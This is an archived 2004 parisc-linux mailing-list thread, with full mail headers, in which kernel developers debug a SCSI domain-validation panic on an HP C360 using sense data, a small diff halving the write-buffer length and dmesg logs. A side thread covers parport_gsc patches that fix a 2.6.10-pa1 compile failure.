Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 21:54:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 29 Dec 2004 22:54:43 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5AA453BE48; Wed, 29 Dec 2004 14:54:42 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18183-06; Wed, 29 Dec 2004 14:54:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7F4F43BE53; Wed, 29 Dec 2004 14:54:22 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5124C3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:54:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18183-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:54:17 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 28EC93BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 14:54:17 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id DD32A495614; Wed, 29 Dec 2004 14:54:16 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 6EA59495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 14:54:16 -0700 (MST)
Original-Received: (qmail 2214 invoked from network); 29 Dec 2004 16:54:15 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 29 Dec 2004 16:54:15 -0500
Original-Received: (qmail 5694 invoked from network); 29 Dec 2004 16:54:12 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 29 Dec 2004 16:54:12 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <200412291649.29411.vapier@gentoo.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25054

On Wednesday 29 December 2004 04:49 pm, Mike Frysinger wrote:
> attached

oh, and just so there's no misunderstanding ... this output in dmesg is 
normal:
 sdb: unknown partition table

i formatted /dev/sdb as an ext3 filesystem instead of partitioning it 
first ...
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 22:03:45 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20041229220345.GF18338@parcelfarce.linux.theplanet.co.uk>
References: <200412260504.40205.vapier@gentoo.org>
	<200412291419.36568.vapier@gentoo.org>
	<1104355710.5298.16.camel@mulgrave>
	<200412291649.29411.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624519 26557 80.91.229.3 (22 Nov 2014 02:48:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 22:04:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 29 Dec 2004 23:04:05 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 333693BE4A; Wed, 29 Dec 2004 15:04:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18282-07; Wed, 29 Dec 2004 15:04:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8BF813BE56; Wed, 29 Dec 2004 15:03:55 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C13D3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 15:03:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18282-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 15:03:50 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3AC483BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 15:03:50 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id EE444495614; Wed, 29 Dec 2004 15:03:50 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252]) by palinux.hppa (Postfix) with ESMTP id A39D0495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 15:03:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1Cjlv0-00088T-1F; Wed, 29 Dec 2004 22:03:46 +0000
Content-Disposition: inline
In-Reply-To: <200412291649.29411.vapier@gentoo.org>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25055

On Wed, Dec 29, 2004 at 04:49:29PM -0500, Mike Frysinger wrote:
> On Wednesday 29 December 2004 04:28 pm, James Bottomley wrote:
> > So now I'd like to see what this is ... it causes your nice ultra3 drive
> > only to work at async speeds (about 4MB/s).
> 
> i'll be the first to admit that i dont know much about scsi ... but even 
> though my drive is an ultra3, i thought my built in C360 controller didnt 
> support that ?

That's right, but your drive is capable of FAST-40 and the controller is capable of FAST-20.  They should negotiate a FAST-20 (40MB/s) transfer contract, but
because the drive is doing weird stuff, it keeps falling back ... until it
reaches async, which is just about the slowest contract defined.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 16:37:52 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <1104359873.5298.25.camel@mulgrave>
References: <200412260504.40205.vapier@gentoo.org>
	<200412291419.36568.vapier@gentoo.org>
	<1104355710.5298.16.camel@mulgrave>
	<200412291649.29411.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624520 26559 80.91.229.3 (22 Nov 2014 02:48:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 22:38:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx067) with SMTP; 29 Dec 2004 23:38:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 64BD83BE67; Wed, 29 Dec 2004 15:38:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18397-10; Wed, 29 Dec 2004 15:38:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4DC973BE56; Wed, 29 Dec 2004 15:38:08 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4F11F3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 15:38:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18482-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 15:38:01 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5A4D03BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 15:38:01 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E33C3495614; Wed, 29 Dec 2004 15:38:00 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by palinux.hppa (Postfix) with ESMTP id 6FB69495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 15:38:00 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	iBTMbwF01858; Wed, 29 Dec 2004 17:37:58 -0500
In-Reply-To: <200412291649.29411.vapier@gentoo.org>
X-Mailer: Evolution 2.0.2 (2.0.2-3) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25056

On Wed, 2004-12-29 at 16:49 -0500, Mike Frysinger wrote:
> Current DV: sense = 70  5
> ASC=24 ASCQ= 0
> Raw sense data:0x70 0x00 0x05 0x00 0x00 0x00 0x00 0x18 0xff 0xff 0xff
> 0xff 0x24 0x00 0x00 0xc0 0x00 0x08 0x00 0xff 0xff 0xff 0xff 0xff 0x00
> 0x00 0x00 0x00 0x00 0x00 0x00 0x00 

This means invalid request, illegal field in cdb and identifies the 8th
field as the illegal one (that's the length of the write buffer
request).  So the thing told us that it supports a write buffer of
length 255 and then tells us our request is too long when we try to
write 255 bytes ... that seems about par for the course for this drive.

Could you try this patch, it halves the write buffer length.  That
should tell us if this drive actually has one and just lies about the
length, or lies about having one altogether.

James

===== drivers/scsi/scsi_transport_spi.c 1.21 vs edited =====
--- 1.21/drivers/scsi/scsi_transport_spi.c	2004-12-06 14:51:40 -06:00
+++ edited/drivers/scsi/scsi_transport_spi.c	2004-12-29 16:36:21 -06:00
@@ -637,6 +639,8 @@
 	len = 0;
 	if (sdev->ppr)
 		len = spi_dv_device_get_echo_buffer(sreq, buffer);
+
+	len = len/2;
 
 	if (len == 0) {
 		SPI_PRINTK(sdev->sdev_target, KERN_INFO, "Domain Validation skipping write tests\n");


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Martin-=C9ric_Racine?= <q-funk-X3B1VOXEql0@public.gmane.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.10-pa1 compile fails
Date: Thu, 30 Dec 2004 00:40:41 +0200 (EET)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0412300029010.28533-100000__9366.89719460464$1416624520$gmane$org@hal.pp.fishpool.fi>
References: <41D3094B.4060206@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416624520 26563 80.91.229.3 (22 Nov 2014 02:48:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:40 +0000 (UTC)
Cc: parisc-linux-6jwH94ZQLHl74goWV3ctuw@public.gmane.org,
 debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
To: Joel Soete <soete.joel-IWqWACnzNjyZIoH1IeqzKA@public.gmane.org>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller-Mmb7MZpHnFY@public.gmane.org
Original-Received: (qmail invoked by alias); 29 Dec 2004 22:41:39 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx020) with SMTP; 29 Dec 2004 23:41:39 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 6F5522E6EF; Wed, 29 Dec 2004 16:41:37 -0600 (CST)
Old-Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Original-To: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (hal.fishpool.fi [213.157.66.81])
	by murphy.debian.org (Postfix) with ESMTP id 942952E709
	for <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>; Wed, 29 Dec 2004 16:41:26 -0600 (CST)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1CjmUj-0008CP-00; Thu, 30 Dec 2004 00:40:41 +0200
In-Reply-To: <41D3094B.4060206-IWqWACnzNjyZIoH1IeqzKA@public.gmane.org>
X-Archive: encrypt
Original-Sender: Martin-Eric Racine <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
X-Rc-Virus: 2004-10-30_01
X-Rc-Spam: 2004-08-29_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_10_25_02 
	(2004-01-11) on newmurphy.debian.org
X-Spam-Status: No, hits=-4.3 required=4.0 tests=AWL,LDOSUBSCRIBER 
	autolearn=no version=2.63-lists.debian.org_2004_10_25_02
Resent-Message-ID: <MBc2VC.A.H1B.hKz0BB@murphy>
Resent-From: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
X-Mailing-List: <debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org> archive/latest/4095
X-Loop: debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org>
List-Help: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
Resent-Date: Wed, 29 Dec 2004 16:41:37 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25057

On Wed, 29 Dec 2004, Joel Soete wrote:

> Matthew Wilcox wrote:
> > We had this discussion two months ago.
> >=20
> > http://lists.debian.org/debian-hppa/2004/10/msg00021.html
> =20
> Taken this into account, I move parport_gsc.h into drivers/parport and re=
move stuff from parport_gsc.c
> (btw I add a gnu license to parport_gsc.h based on the one of parport_gsc=
=2Ec ;-)

   1    551 lines   Text/PLAIN
   2    107 lines   Text/PLAIN (Name: "drivers_parport_parport_gsc.c.diff")
   3    196 lines   Text/PLAIN (Name: "include_asm-parisc_parport_gsc.h.dif=
f")
   4    225 lines   Text/PLAIN (Name: "drivers_parport_parport_gsc.h.diff")

Thanks Joel!  The patches finally made it possible to compile 2.6.10-pa1 us=
ing:

binutils-hppa-linux       2.15-1
gcc-hppa-linux            3.4.1-1

Unless the parisc-linux team sees anything wrong with these patches, would =
it be
possible to merge them into the current CVS tree?=20

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.iki.fi/q-funk/





From - Thu Nov 08 21:36:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.6.10-pa1 panic on C360 in SCSI driver
Date: Wed, 29 Dec 2004 18:16:19 -0500
Organization: wh0rd.org
Lines: 161
Approved: news@gmane.org
Message-ID: <200412291816.19157.vapier@gentoo.org>
References: <200412260504.40205.vapier@gentoo.org>
	<200412291649.29411.vapier@gentoo.org>
	<1104359873.5298.25.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Multipart/Mixed;
  boundary="Boundary-00=_Drz0B3Wt9jbDrSI"
X-Trace: ger.gmane.org 1416624520 26567 80.91.229.3 (22 Nov 2014 02:48:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Dec 2004 23:16:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx026) with SMTP; 30 Dec 2004 00:16:25 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0BF173BE4A; Wed, 29 Dec 2004 16:16:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19072-02; Wed, 29 Dec 2004 16:16:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CE7AB3BE56; Wed, 29 Dec 2004 16:16:12 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2E7E03BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 16:16:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 18751-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 16:16:07 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 26A173BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Dec 2004 16:16:07 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id D3E1D495614; Wed, 29 Dec 2004 16:16:06 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by palinux.hppa (Postfix) with ESMTP id 0E476495612
	for <parisc-linux@parisc-linux.org>;
	Wed, 29 Dec 2004 16:16:05 -0700 (MST)
Original-Received: (qmail 3233 invoked from network); 29 Dec 2004 18:16:03 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 29 Dec 2004 18:16:03 -0500
Original-Received: (qmail 780 invoked from network); 29 Dec 2004 18:16:01 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 29 Dec 2004 18:16:01 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <1104359873.5298.25.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25058

--Boundary-00=_Drz0B3Wt9jbDrSI
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Wednesday 29 December 2004 05:37 pm, James Bottomley wrote:
> Could you try this patch, it halves the write buffer length.  That
> should tell us if this drive actually has one and just lies about the
> length, or lies about having one altogether.

added verbose scsi debugging and the patch
-mike

--Boundary-00=_Drz0B3Wt9jbDrSI
Content-Type: text/plain; charset="iso-8859-1";
	name="2.6.10-pa1-scsi-debug-patch6"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="2.6.10-pa1-scsi-debug-patch6"

sym0: <875> rev 0x4 at pci 0000:00:13.0 irq 99
sym0: No NVRAM, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18m
elevator: using anticipatory as default io scheduler
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym0:6:0: tagged command queuing enabled, command queue depth 16.
 target0:0:6: Beginning Domain Validation
sym0:6:wide msgout: 1-2-3-1.
sym0:6:wide msgin: 1-2-3-1.
sym0:6:wdtr: wide=1 chg=0.
sym0:6:sync msgout: 1-3-1-c-0.
sym0:6:sync msgin: 1-3-1-c-0.
sym0:6:sdtr: ofs=0 per=12 div=0 fak=0 chg=0.
sym0:6: wide asynchronous.
sym0:6:sync msgout: 1-3-1-c-10.
sym0:6:sync msgin: 1-3-1-c-f.
sym0:6:sdtr: ofs=15 per=12 div=0 fak=0 chg=0.
sym0:6: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 15)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
sym0:9:ppr msgin: 1-6-4-c-0-3f-1-2.
sym0:9: FAST-20 WIDE SCSI 40.0 MB/s ST (50.0 ns, offset 16)
sym0:9:ppr msgout: 1-6-4-c-0-10-1-0.
  Vendor: WDIGTL    Model: WDE9150 ULTRA3    Rev: 1.30
  Type:   Direct-Access                      ANSI SCSI revision: 03
